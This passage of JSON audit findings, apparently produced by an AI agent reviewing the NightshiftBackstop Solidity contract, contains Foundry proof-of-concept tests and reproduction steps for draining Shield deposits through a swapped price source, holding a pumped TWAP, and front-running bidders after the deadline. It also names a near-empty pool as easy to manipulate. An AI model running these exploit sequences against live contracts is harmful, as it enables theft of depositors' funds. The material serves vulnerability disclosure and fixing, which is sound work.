SHIELD_MIN_LOCK, or let depositors withdraw while a change is pending. Also bound how far the Shield's purchase price may deviate.","line":273,"path":"src/NightshiftBackstop.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {NightshiftBackstop} from \"src/NightshiftBackstop.sol\";\n\ncontract Tok {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// Constant-tick pool stand-in with a settable tick.\ncontract Pool {\n    address public token0;\n    address public token1;\n    int24 public tick;\n    constructor(address a, address b) { (token0, token1) = a < b ? (a, b) : (b, a); }\n    function setTick(int24 t) external { tick = t; }\n    function observe(uint32[] calldata ago) external view returns (int56[] memory c, uint160[] memory l) {\n        c = new int56[](ago.length); l = new uint160[](ago.length);\n        for (uint256 i; i < ago.length; ++i) c[i] = -int56(tick) * int56(uint56(ago[i]));\n    }\n}\n\ncontract PocOwnerDrain is Test {\n    NightshiftBackstop bs;\n    Tok imd;\n    Tok usdc;\n    Pool pool;\n    address owner = makeAddr(\"owner\");\n    address seller = makeAddr(\"seller\");\n    address bob = makeAddr(\"bob\");\n    address mallory = makeAddr(\"mallory\");\n\n    function setUp() public {\n        vm.warp(1_700_000_000);\n        imd = new Tok();\n        usdc = new Tok();\n        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);\n        pool = new Pool(address(imd), address(usdc));\n        vm.prank(owner);\n        bs.setPriceSource(address(pool));\n        address[3] memory u = [seller, bob, mallory];\n        for (uint256 i; i < 3; ++i) {\n            usdc.mint(u[i], 1_000_000e18);\n            vm.startPrank(u[i]);\n            imd.approve(address(bs), type(uint256).max);\n            usdc.approve(address(bs), type(uint256).max);\n            vm.stopPrank();\n        }\n        imd.mint(seller, 1_000e18);\n        imd.mint(bob, 1e18); // bob is an existing holder; mallory holds no IMD\n    }\n\n    /// a flat 100x price (momentum 0, so the pump filter passes), then sells 1,000 IMD per offer to the Shield.\n    function test_ownerDrainsShieldViaPriceSource() public {\n        address dep = makeAddr(\"depositor\");\n        usdc.mint(dep, 100_000e18);\n        vm.startPrank(dep);\n        usdc.approve(address(bs), type(uint256).max);\n        bs.shieldDeposit(100_000e18);\n        vm.stopPrank();\n\n        Pool fake = new Pool(address(imd), address(usdc));\n        fake.setTick(address(imd) < address(usdc) ? int24(46_000) : int24(-46_000)); // ~100x\n        vm.prank(owner);\n        try bs.setPriceSource(address(fake)) {} catch {} // a fixed contract may refuse or delay this\n        imd.mint(owner, 10_000e18);\n        vm.startPrank(owner);\n        imd.approve(address(bs), type(uint256).max);\n        uint256[] memory ids = new uint256[](10);\n        uint256 n;\n        for (uint256 i; i < 10; ++i) {\n            try bs.createOffer(1_000e18) returns (uint256 id) { ids[n++] = id; } catch {}\n        }\n        vm.stopPrank();\n        vm.warp(block.timestamp + bs.OFFER_WINDOW());\n        for (uint256 i; i < n; ++i) {\n            bs.settle(ids[i]);\n            vm.prank(owner);\n            bs.claimSeller(ids[i]);\n        }\n        (uint256 left, uint256 tokGain,,) = bs.shieldPosition(dep);\n        emit log_named_uint(\"owner USDC taken from Shield\", usdc.balanceOf(owner));\n        emit log_named_uint(\"depositor USDC left\", left);\n        emit log_named_uint(\"depositor IMD received\", tokGain);\n        // Fair value of IMD is 1 quote (the canonical pool sits at tick 0). Deposit + IMD received\n        // valued at that price must not fall by more than 1 % of the 100,000 deposited.\n        assertGe(left + tokGain, 99_000e18, \"owner moved Shield deposits through setPriceSource\");\n    }\n}","reproduction":"Setup: token=IMD, quote=USDC (both 18 decimals in the mock), shieldPerOfferCap=10,000e18, minOfferSize=1,000e18. The canonical pool is at tick 0 (1 IMD = 1 USDC). A depositor calls shieldDeposit(100,000e18). The owner deploys a contract whose token0/token1 are the pair and whose observe() returns a constant tick of about +46,000 for IMD (about 100x), then calls setPriceSource(fake). The owner calls createOffer(1,000e18) ten times, waits OFFER_WINDOW, and calls settle(id) then claimSeller(id) for each. Expected: the depositor keeps about 100,000 USDC of value, or the change is refused or delayed. Actual: the depositor has 8,346 USDC left plus 970 IMD (fair value 970 USDC), so about 90,700 USDC is lost. The owner receives 88,904 USDC through claimSeller. test_ownerDrainsShieldViaPriceSource fails with 9316e18 < 99000e18.","severity":"high","snippet":"        if (!((t0 == token && t1 == quote) || (t0 == quote && t1 == token))) revert PriceSourceMismatch();\n        priceSource = pool;","title":"Owner can move locked Shield deposits to itself through setPriceSource: Shield buys at whatever price an unvetted price source reports"},{"citation":"resolved","description":"Asymmetry and Trust Gap (access x asymmetry). There are two routes to buying an offer's lots. placeBid (L353-369) enforces the bidding window (L356), the seller exclusion (L357) and the existing-holder check (L359). The Shield route enforces none of these. The Shield's share s is computed in settle from shieldTotalDeposits at settlement time (L380, L409), not when bidding closes. shieldDeposit (L460) is not tied to any offer and has no holder check. Anyone can deposit after the deadline and settle in the same transaction, and the Shield then takes up to 50 lots ahead of bids made in the window (filled = min(bidCapacity, 100 - s)). The late depositor can claim the IMD at once through shieldClaimGains (L486), and also collects 80% of the fee. The 30-day lock applies only to the leftover USDC principal. This gives anyone a free option, settled one hour later: deposit and settle only when the market has risen above the frozen lotCost. In-window bidders lose fills they had fully covered. Unlocked depositors hold the mirror option: they can withdraw before settle when the offer is out of the money. Fix: record the Shield's capacity when bidding closes (for example, only count deposits made before o.deadline, or snapshot at createOffer), or require settle's Shield sizing to use deposits locked before the deadline.","line":380,"path":"src/NightshiftBackstop.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {NightshiftBackstop} from \"src/NightshiftBackstop.sol\";\n\ncontract Tok {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// Constant-tick pool stand-in with a settable tick.\ncontract Pool {\n    address public token0;\n    address public token1;\n    int24 public tick;\n    constructor(address a, address b) { (token0, token1) = a < b ? (a, b) : (b, a); }\n    function setTick(int24 t) external { tick = t; }\n    function observe(uint32[] calldata ago) external view returns (int56[] memory c, uint160[] memory l) {\n        c = new int56[](ago.length); l = new uint160[](ago.length);\n        for (uint256 i; i < ago.length; ++i) c[i] = -int56(tick) * int56(uint56(ago[i]));\n    }\n}\n\ncontract PocLateShield is Test {\n    NightshiftBackstop bs;\n    Tok imd;\n    Tok usdc;\n    Pool pool;\n    address owner = makeAddr(\"owner\");\n    address seller = makeAddr(\"seller\");\n    address bob = makeAddr(\"bob\");\n    address mallory = makeAddr(\"mallory\");\n\n    function setUp() public {\n        vm.warp(1_700_000_000);\n        imd = new Tok();\n        usdc = new Tok();\n        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);\n        pool = new Pool(address(imd), address(usdc));\n        vm.prank(owner);\n        bs.setPriceSource(address(pool));\n        address[3] memory u = [seller, bob, mallory];\n        for (uint256 i; i < 3; ++i) {\n            usdc.mint(u[i], 1_000_000e18);\n            vm.startPrank(u[i]);\n            imd.approve(address(bs), type(uint256).max);\n            usdc.approve(address(bs), type(uint256).max);\n            vm.stopPrank();\n        }\n        imd.mint(seller, 1_000e18);\n        imd.mint(bob, 1e18); // bob is an existing holder; mallory holds no IMD\n    }\n\n    /// must not displace bids placed inside the window.\n    function test_postDeadlineShieldDepositDisplacesBidders() public {\n        vm.prank(seller);\n        uint256 id = bs.createOffer(1_000e18); // 100 lots of 10 IMD, lotCost 9.5e18 at tick 0\n        vm.prank(bob);\n        uint256 bidId = bs.placeBid(id, 100);\n\n        vm.warp(block.timestamp + bs.OFFER_WINDOW()); // bidding closed\n        vm.expectRevert(NightshiftBackstop.BiddingClosed.selector);\n        vm.prank(mallory);\n        bs.placeBid(id, 1); // bidding is closed (mallory also holds no IMD)\n\n        vm.prank(mallory);\n        bs.shieldDeposit(950e18); // after the deadline, no holder check\n        bs.settle(id);\n\n        vm.prank(bob);\n        bs.claimBid(bidId);\n        vm.prank(mallory);\n        bs.shieldClaimGains();\n        emit log_named_uint(\"bob IMD received\", imd.balanceOf(bob) - 1e18);\n        emit log_named_uint(\"mallory IMD received\", imd.balanceOf(mallory));\n        assertEq(imd.balanceOf(mallory), 0, \"late Shield depositor took lots from the closed offer\");\n        assertEq(imd.balanceOf(bob), 1e18 + 1_000e18, \"bob's fully-covering bid was cut\");\n    }\n}","reproduction":"Offer: 100 lots of 10 IMD at lotCost 9.5e18, Shield empty. bob (holds 1 IMD) calls placeBid(id, 100), which covers the whole offer. At t >= deadline, placeBid reverts BiddingClosed. mallory holds no IMD and could never pass the holder check. She calls shieldDeposit(950e18), then settle(id). s = min(50, cap/9.5, 475/9.5) = 50. Expected: bob receives all 1,000 IMD. Actual: bob receives 500 IMD plus a refund, and mallory's shieldClaimGains pays her about 500 IMD plus 80% of the 3% fee. test_postDeadlineShieldDepositDisplacesBidders fails with 499999999999999999500 != 0.","severity":"medium","snippet":"        uint256 s = o.shieldEligible ? _shieldLots(lotCost) : 0;\n        uint256 remaining = LOTS_PER_OFFER - s;\n        uint256 filled = o.bidCapacity < remaining ? o.bidCapacity : remaining;","title":"A Shield deposit made after bidding closes takes the priority slice from bidders, skipping the deadline and holder check that placeBid enforces"},{"citation":"resolved","description":"Asymmetry (admin parameter change vs user action, Beefy pattern) and Trust Gap seam 1. createOffer takes only `amount`. It has no minLotCost, maxDiscount or deadline, yet the offer cannot be cancelled (README: 'Cannot be cancelled'). Whatever priceSource reports when the transaction is mined sets lotCost. That happens if the owner changes setPriceSource while the seller's transaction is pending, maliciously or as an honest migration (for example to the 1% pool the README lists as empty). It also happens if the TWAP moves. Either way the seller's tokens are sold to bidders and the Shield at that price, and the seller cannot refuse. The README promises that 'Existing offers keep their frozen price', but a seller's in-flight offer has no protection. Fix: add a `minLotCost` (or `maxDiscountBps` plus a deadline) argument and revert if lotCost is below it.","line":332,"path":"src/NightshiftBackstop.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {NightshiftBackstop} from \"src/NightshiftBackstop.sol\";\n\ncontract Tok {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// Constant-tick pool stand-in with a settable tick.\ncontract Pool {\n    address public token0;\n    address public token1;\n    int24 public tick;\n    constructor(address a, address b) { (token0, token1) = a < b ? (a, b) : (b, a); }\n    function setTick(int24 t) external { tick = t; }\n    function observe(uint32[] calldata ago) external view returns (int56[] memory c, uint160[] memory l) {\n        c = new int56[](ago.length); l = new uint160[](ago.length);\n        for (uint256 i; i < ago.length; ++i) c[i] = -int56(tick) * int56(uint56(ago[i]));\n    }\n}\n\ncontract PocNoPriceBound is Test {\n    NightshiftBackstop bs;\n    Tok imd;\n    Tok usdc;\n    Pool pool;\n    address owner = makeAddr(\"owner\");\n    address seller = makeAddr(\"seller\");\n    address bob = makeAddr(\"bob\");\n    address mallory = makeAddr(\"mallory\");\n\n    function setUp() public {\n        vm.warp(1_700_000_000);\n        imd = new Tok();\n        usdc = new Tok();\n        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);\n        pool = new Pool(address(imd), address(usdc));\n        vm.prank(owner);\n        bs.setPriceSource(address(pool));\n        address[3] memory u = [seller, bob, mallory];\n        for (uint256 i; i < 3; ++i) {\n            usdc.mint(u[i], 1_000_000e18);\n            vm.startPrank(u[i]);\n            imd.approve(address(bs), type(uint256).max);\n            usdc.approve(address(bs), type(uint256).max);\n            vm.stopPrank();\n        }\n        imd.mint(seller, 1_000e18);\n        imd.mint(bob, 1e18); // bob is an existing holder; mallory holds no IMD\n    }\n\n    /// source says and the seller had no way to bound it.\n    function test_createOfferHasNoPriceBound() public {\n        (uint256 expected,,) = bs.quoteLot(10e18);\n        Pool other = new Pool(address(imd), address(usdc));\n        other.setTick(address(imd) < address(usdc) ? int24(-46_000) : int24(46_000));\n        vm.prank(owner);\n        bs.setPriceSource(address(other));\n        vm.prank(seller);\n        uint256 id = bs.createOffer(1_000e18);\n        uint256 got = bs.getOffer(id).lotCost;\n        emit log_named_uint(\"expected lotCost\", expected);\n        emit log_named_uint(\"actual lotCost\", got);\n        assertGe(got * 100, expected * 99, \"offer escrowed at a price far below what the seller saw\");\n    }\n}","reproduction":"The pool is at tick 0. The seller reads quoteLot(10e18) = 9.5e18 and sends createOffer(1,000e18). Before it is mined, the owner calls setPriceSource(other), a matching-pair pool at tick -46,000 for IMD (about 1% of the price). Expected: the seller can reject the offer, since it is priced at about 1% of what they saw. Actual: the offer is created with lotCost = 95514403896645359 (about 0.0955 against 9.5). It cannot be cancelled, and bidders and the Shield can take all 100 lots at about 1% of value. test_createOfferHasNoPriceBound fails with 9551440389664535900 < 940500000000000000000.","severity":"medium","snippet":"    function createOffer(uint256 amount) external nonReentrant whenNotPaused returns (uint256 offerId) {\n        uint256 lotSize = amount / LOTS_PER_OFFER;\n        uint256 escrow = lotSize * LOTS_PER_OFFER;\n        if (escrow < minOfferSize || lotSize > type(uint128).max) revert OfferTooSmall();\n        (uint256 lotCost, uint256 discountBps, int256 momentumBps) = quoteLot(lotSize);","title":"createOffer has no price bound, so the irrevocable escrow is priced at whatever the price source reports when the transaction is mined"},{"citation":"resolved","description":"Asymmetry between pause-gated entry and ungated exit. placeBid and shieldDeposit carry whenNotPaused, but an open offer's deadline keeps running and settle (L372) is not paused. Offers cannot be cancelled. If the owner pauses while an offer is open, holders cannot bid for the rest of the window. Once the deadline passes, anyone can settle, and the only bids that compete are those placed before the pause. An owner who bid first and then paused takes every non-Shield lot. Paused deposits plus unpaused shieldWithdraw also mean unlocked depositors can leave while nobody can enter. The README documents the pause only as an 'emergency stop for new offers, bids and Shield deposits'. It does not say that open offers keep running and settle with bids frozen. Fix: extend deadlines by the paused duration, or block settle for offers whose window overlapped a pause.","line":353,"path":"src/NightshiftBackstop.sol","reproduction":"Seller calls createOffer(1,000e18) with deadline T. The owner, who holds 1 IMD, calls placeBid(id, 100). The owner calls setPaused(true). alice calls placeBid(id, 100), which reverts Paused. At T the owner calls setPaused(false), then settle(id). With an empty Shield, the owner's bid fills all 100 lots. Expected: other holders can bid during the whole window, or the window is extended by the pause, and alice's 100-lot bid shares pro-rata (50/50). Actual: the owner gets 100 lots and alice gets 0.","severity":"low","snippet":"    function placeBid(uint256 offerId, uint256 lots) external nonReentrant whenNotPaused returns (uint256 bidId) {","title":"setPaused blocks bids but not the offer clock or settlement, so a pause during an offer's window settles it with only pre-pause bids"},{"citation":"resolved","description":"Branch asymmetry in the pull-payment design. claimSeller sends USDC proceeds and then returned IMD in one transaction. claimBid (L452-453) and the Shield payout (L512-513) do the same, always to msg.sender, with no recipient argument and no way to claim one asset alone. claimed/sellerClaimed is set before the transfers. If either transfer reverts, the whole claim reverts, so the other asset is stranded permanently. Nothing expires and there is no rescue path. The README says only that 'that recipient's claim fails'. In practice the recipient loses an asset that has nothing to do with the blacklist. Fix: add a `to` argument, or split each claim into separate token and quote claims.","line":423,"path":"src/NightshiftBackstop.sol","reproduction":"Use the repo's BlockingToken as quote. The seller's offer settles with 50 lots returned and nonzero proceeds. USDC blocks the seller. claimSeller(id) reverts inside _send(quote, ...) at L423. Expected: the seller can still recover their 50 lots of IMD (500 IMD in the test config). Actual: every claimSeller call reverts, and the 500 IMD stays in the contract forever.","severity":"low","snippet":"        if (proceeds != 0) _send(quote, msg.sender, proceeds);\n        if (tokens != 0) _send(token, msg.sender, tokens);","title":"claimSeller and claimBid pay both assets in one call to msg.sender, so a USDC-blacklisted seller or bidder also loses their IMD"}],"hash":"55b29689dd1b43ddacad0511280b916d82c78365d77add18dc9e540d001be66e","nodeId":"cccd4dba-746a-4de3-88a3-48cbe3d9baef","outcome":"completed","summary":"I found five problems in the permissions area of `src/NightshiftBackstop.sol`: one high, two medium and two low. They are in `.imd-findings.json` with a coverage row for each of the 14 entry points, plus two rows for invariants I checked. I wrote a Foundry test for each of the high and medium findings, and each one fails on the current code for the reason stated. Their full source is in the findings as `proof`. I then deleted my scratch tests, so no repository file is changed. The low findings were traced by hand only.\n\n| # | Severity | Finding |\n|---|---|---|\n| 1 | high | **The owner can drain locked Shield deposits through `setPriceSource` (L273).** It accepts any contract that reports the IMD/USDC token pair, with no check against the Uniswap factory and no delay. The pump filter only checks how much the price moved in the last hour, so a flat inflated price passes. Shield depositors must buy and can't withdraw for 30 days. In the test, a 100,000 USDC Shield falls to about 9,300 USDC of value after 10 offers in one block, and the owner collects 88,904 USDC through `claimSeller`. This contradicts the README's statement that the owner \"cannot move escrowed funds\". |\n| 2 | medium | **A Shield deposit made after bidding closes takes lots from bidders (L380).** `settle` sizes the Shield's share from deposits at settlement time. Someone who holds no IMD can deposit after the deadline and settle in the same transaction. In the test, a bidder whose bid covered the whole offer got 500 of 1,000 IMD; the late depositor got the other 500 plus 80% of the fee. This skips the bidding window, the holder check and the seller exclusion that `placeBid` enforces. |\n| 3 | medium | **`createOffer` has no minimum price (L332).** The offer can't be cancelled, but the seller can't set a floor. If the price source changes while the seller's transaction is pending, the offer goes in at that price. In the test, the seller expected a lot cost of 9.5 and got about 0.0955. |\n| 4 | low | **A pause stops new bids, but open offers keep their deadline and can still be settled.** An owner who bids and then pauses fills every lot the Shield doesn't take. |\n| 5 | low | **Claims pay USDC and IMD together to the caller in one transaction.** A seller or bidder that USDC blacklists also loses their IMD for good: there's no recipient argument and no way to claim one asset alone. |\n\n`acceptOwnership`, `transferOwnership`, `setTreasury`, `withdrawTreasury`, `shieldWithdraw`, `shieldClaimGains` and the constructor's role setup behave as intended. No coverage row is `unreached`.\n\nThe static-analysis leads didn't become findings in my area. Every state-changing function has the reentrancy guard and the tokens have no callbacks. The `^` in the math library comes from Uniswap's `FullMath`, where it is correct. I did not take the math and economics leads further (rounding, and a stale TWAP during a crash); they belong to other specialists.\n\n`git status` lists some untracked files in the root (`.bashrc`, `.claude/` and others). I didn't create them and left them alone.","treeHash":null,"usage":{"cachedInputTokens":813524,"cost":{"source":"runtime","usdMicros":1373782},"inputTokens":25,"model":"claude-opus-5-5","outputTokens":27315,"runtime":"claude","turns":14,"wallClockMs":307199}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"6208734cdf5317a1","findings":[{"citation":"resolved","description":"settle() makes the Shield buy s lots at o.lotCost, the value frozen at createOffer from the pool TWAP, with no re-read of the pool and no bound at settlement (lines 379-391). Bidders can decline a bad lotCost; Shield depositors cannot and their principal is locked 30 days (line 475). The only guard is the pump filter at line 344 (momentumBps <= 2000), which compares two 30-minute TWAPs from the same pool: a price held for TWAP_WINDOW + MOMENTUM_LOOKBACK (90 min) has momentum 0 and passes with the base 5 % discount. Reproduced against the chain the launch targets, through the public chain-1 RPC the task names, at block 0x1926cec: pool 0x894d4e6d3d2abc64fc0de0e4e2ea63a93bc9c520 (the one the README tells the owner to set) holds USDC.balanceOf = 212,633 (0.21 USDC) and 6,551.8 IMD, liquidity 21,067,490,382,534,776, slot0 tick 263,819 (~3.49 USDC/IMD), observationCardinality 1 and cardinalityNext 1. With 0.21 USDC on the quote side, moving IMD's price in either direction costs almost nothing, and no one arbitrages a held price. The Shield pays 0.95 x the pumped price per lot and the seller receives 0.97 of it through claimSeller. Merged from audit_economics (36451fa1) and audit_permissions (3dd0085a, the owner-as-actor variant, kept separately below as a trust-assumption finding because its fix differs). Amplifiers reported separately: per-offer caps recompute from the remaining total (finding 6) and pricePast == 0 disables the filter (finding 7). Fix that keeps the design: re-quote priceSource in settle() and set s = 0 (or cap lotCost) when the frozen lotCost exceeds the settlement-time quote by more than the discount; additionally require a liquidity/cardinality floor in setPriceSource.","line":380,"path":"src/NightshiftBackstop.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {NightshiftBackstop} from \"src/NightshiftBackstop.sol\";\n\ncontract ProofERC20 {\n    uint8 public immutable decimals;\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n\n    constructor(uint8 d) {\n        decimals = d;\n    }\n\n    function mint(address to, uint256 amount) external {\n        balanceOf[to] += amount;\n    }\n\n    function approve(address spender, uint256 amount) external returns (bool) {\n        allowance[msg.sender][spender] = amount;\n        return true;\n    }\n\n    function transfer(address to, uint256 amount) external returns (bool) {\n        balanceOf[msg.sender] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n\n    function transferFrom(address from, address to, uint256 amount) external returns (bool) {\n        uint256 a = allowance[from][msg.sender];\n        if (a != type(uint256).max) allowance[from][msg.sender] = a - amount;\n        balanceOf[from] -= amount;\n        balanceOf[to] += amount;\n        return true;\n    }\n}\n\n/// @dev Uniswap v3 pool stand-in: cumulatives for a fixed past and present mean tick.\ncontract ProofPool {\n    address public token0;\n    address public token1;\n    int24 public tickPast;\n    int24 public tickNow;\n\n    constructor(address a, address b) {\n        (token0, token1) = a < b ? (a, b) : (b, a);\n    }\n\n    function setTicks(int24 past, int24 now_) external {\n        tickPast = past;\n        tickNow = now_;\n    }\n\n    function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory c, uint160[] memory l) {\n        uint32 w = secondsAgos[2];\n        uint32 gap = secondsAgos[1] - secondsAgos[2];\n        c = new int56[](4);\n        l = new uint160[](4);\n        c[0] = 1_000_000;\n        c[1] = c[0] + int56(tickPast) * int56(uint56(w));\n        c[2] = c[1] + int56(tickNow) * int56(uint56(gap > w ? gap - w : 0));\n        c[3] = c[2] + int56(tickNow) * int56(uint56(w));\n    }\n}\n\n/// @notice The Shield buys at the price frozen when the offer was created and never re-checks it.\n/// A seller who moves the pool TWAP (both windows, so momentum is 0 and the pump filter passes) for\n/// the 90 minutes before `createOffer`, then lets the price return, sells the Shield tokens at 10x\n/// the pool price it reads at settlement. The Shield is a forced buyer with no opt-out.\ncontract ShieldStalePriceProof is Test {\n    NightshiftBackstop internal bs;\n    ProofERC20 internal imd;\n    ProofERC20 internal usdc;\n    ProofPool internal pool;\n\n    address internal owner = makeAddr(\"owner\");\n    address internal attacker = makeAddr(\"attacker\");\n    address internal depositor = makeAddr(\"depositor\");\n\n    function setUp() public {\n        vm.warp(1_700_000_000);\n        imd = new ProofERC20(18);\n        usdc = new ProofERC20(18);\n        // minOfferSize 1000 IMD, shieldPerOfferCap 10_000 quote, 1 IMD holder floor (README values).\n        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);\n        pool = new ProofPool(address(imd), address(usdc));\n        vm.prank(owner);\n        bs.setPriceSource(address(pool));\n\n        usdc.mint(depositor, 10_000e18);\n        imd.mint(attacker, 1_000e18);\n        vm.prank(depositor);\n        usdc.approve(address(bs), type(uint256).max);\n        vm.prank(attacker);\n        imd.approve(address(bs), type(uint256).max);\n    }\n\n    /// @dev IMD price multiplier in ticks, sign-corrected for the pool's token order.\n    function _setPrice(int24 ticks) internal {\n        int24 t = address(imd) < address(usdc) ? ticks : -ticks;\n        pool.setTicks(t, t);\n    }\n\n    function test_shieldBuysAtTenTimesTheSettlementPrice() public {\n        vm.prank(depositor);\n        bs.shieldDeposit(10_000e18);\n\n        // Fair price: tick 0, 1 IMD = 1 quote. The attacker held the pool at ~10x for 90 minutes:\n        // both TWAP windows read tick 23027 (1.0001^23027 ~ 10.0), momentum 0, discount 5 %.\n        _setPrice(23027);\n        vm.prank(attacker);\n        uint256 id = bs.createOffer(1_000e18);\n        NightshiftBackstop.Offer memory o = bs.getOffer(id);\n        assertTrue(o.shieldEligible, \"pump filter does not see a held pump\");\n        assertEq(o.discountBps, 500);\n        assertGt(o.lotCost, 90e18); // ~95 quote per 10 IMD lot, fair is 10\n\n        // Price returns to fair right after creation; the frozen lotCost does not.\n        _setPrice(0);\n        vm.warp(block.timestamp + 1 hours);\n        bs.settle(id);\n\n        o = bs.getOffer(id);\n        (uint256 fairLotCost,,) = bs.quoteLot(o.lotSize);\n        uint256 shieldSpent = 10_000e18 - bs.shieldTotalDeposits();\n        uint256 fairValue = o.shieldLots * o.lotSize; // 1 IMD = 1 quote at settlement\n        emit log_named_uint(\"shield lots bought\", o.shieldLots);\n        emit log_named_uint(\"quote the Shield paid\", shieldSpent);\n        emit log_named_uint(\"pool value of those tokens at settlement\", fairValue);\n        emit log_named_uint(\"fair lotCost at settlement\", fairLotCost);\n\n        vm.prank(attacker);\n        bs.claimSeller(id);\n        emit log_named_uint(\"quote the attacker received\", usdc.balanceOf(attacker));\n\n        // Expected: the Shield does not buy lots priced above what the pool is worth when it buys.\n        assertEq(o.shieldLots, 0, \"Shield bought at a frozen price 10x the settlement TWAP\");\n        assertEq(bs.shieldTotalDeposits(), 10_000e18, \"Shield deposits spent on a stale price\");\n    }\n}","reproduction":"Mock pool stand-in, IMD/USDC both 18 decimals, constructor (owner, IMD, USDC, 1_000e18, 10_000e18, 1e18). depositor shieldDeposit(10_000e18). Both TWAP windows read tick 23027 (10x the tick-0 fair price, momentum 0). seller createOffer(1_000e18): shieldEligible = true, discountBps = 500, lotCost ~95e18 for a 10e18 lot. Pool returns to tick 0; warp 1 h; settle(id); seller claimSeller(id). Expected: the Shield does not buy lots priced at 10x the pool price at settlement (shieldLots 0, shieldTotalDeposits unchanged). Actual: shieldLots = 50, Shield pays 4,749.99 quote for 500 IMD worth 500 quote at settlement, seller receives 4,607.50 quote. forge test --match-path test/scratch/P2.t.sol fails with 'Shield bought at a frozen price 10x the settlement TWAP: 50 != 0'.","severity":"high","snippet":"        uint256 s = o.shieldEligible ? _shieldLots(lotCost) : 0;","title":"Shield is a forced buyer at the lotCost frozen in createOffer; the canonical IMD/USDC pool is near-empty, so a seller holds a pumped TWAP for 90 minutes and sells the Shield IMD at a multiple of marke"},{"citation":"resolved","description":"setPriceSource only checks that token0()/token1() return the IMD/USDC pair. Nothing binds the source to the Uniswap v3 factory and nothing delays the change. createOffer freezes lotCost from that source and at settle the Shield is a forced buyer (finding 1) whose principal is locked 30 days. A source reporting a flat inflated price has momentum 0 and passes the pump filter. Offers are unlimited and each spends up to min(shieldPerOfferCap, 50 % of remaining deposits), so the owner acting as seller drains the Shield geometrically in one block. This is a privileged-actor finding and is reported as a trust assumption the README misstates: the README says the owner 'cannot move escrowed funds' and that a malicious pool only 'misprice[s] new offers'; here the escrowed funds are depositors' USDC and they end up in the owner's claimSeller proceeds. The same vector exists through the empty canonical 1 % pool 0x3a6a81b9950bcdfc01eff5ff599c31e919576a5f named in the README, whose price the owner can set alone. Reproduced from audit_permissions 3dd0085a. Fix that keeps the owner role: bind priceSource to factory.getPool(token, quote, fee) with an immutable factory and put changes behind a delay longer than SHIELD_MIN_LOCK, or let depositors withdraw while a change is pending; and apply the settlement-time price bound of finding 1.","line":273,"path":"src/NightshiftBackstop.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {NightshiftBackstop} from \"src/NightshiftBackstop.sol\";\n\ncontract Tok {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transfer(address to, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[to] += a; return true; }\n    function transferFrom(address f, address to, uint256 a) external returns (bool) {\n        allowance[f][msg.sender] -= a; balanceOf[f] -= a; balanceOf[to] += a; return true;\n    }\n}\n\n/// Constant-tick pool stand-in with a settable tick.\ncontract Pool {\n    address public token0;\n    address public token1;\n    int24 public tick;\n    constructor(address a, address b) { (token0, token1) = a < b ? (a, b) : (b, a); }\n    function setTick(int24 t) external { tick = t; }\n    function observe(uint32[] calldata ago) external view returns (int56[] memory c, uint160[] memory l) {\n        c = new int56[](ago.length); l = new uint160[](ago.length);\n        for (uint256 i; i < ago.length; ++i) c[i] = -int56(tick) * int56(uint56(ago[i]));\n    }\n}\n\ncontract PocOwnerDrain is Test {\n    NightshiftBackstop bs;\n    Tok imd;\n    Tok usdc;\n    Pool pool;\n    address owner = makeAddr(\"owner\");\n    address seller = makeAddr(\"seller\");\n    address bob = makeAddr(\"bob\");\n    address mallory = makeAddr(\"mallory\");\n\n    function setUp() public {\n        vm.warp(1_700_000_000);\n        imd = new Tok();\n        usdc = new Tok();\n        bs = new NightshiftBackstop(owner, address(imd), address(usdc), 1_000e18, 10_000e18, 1e18);\n        pool = new 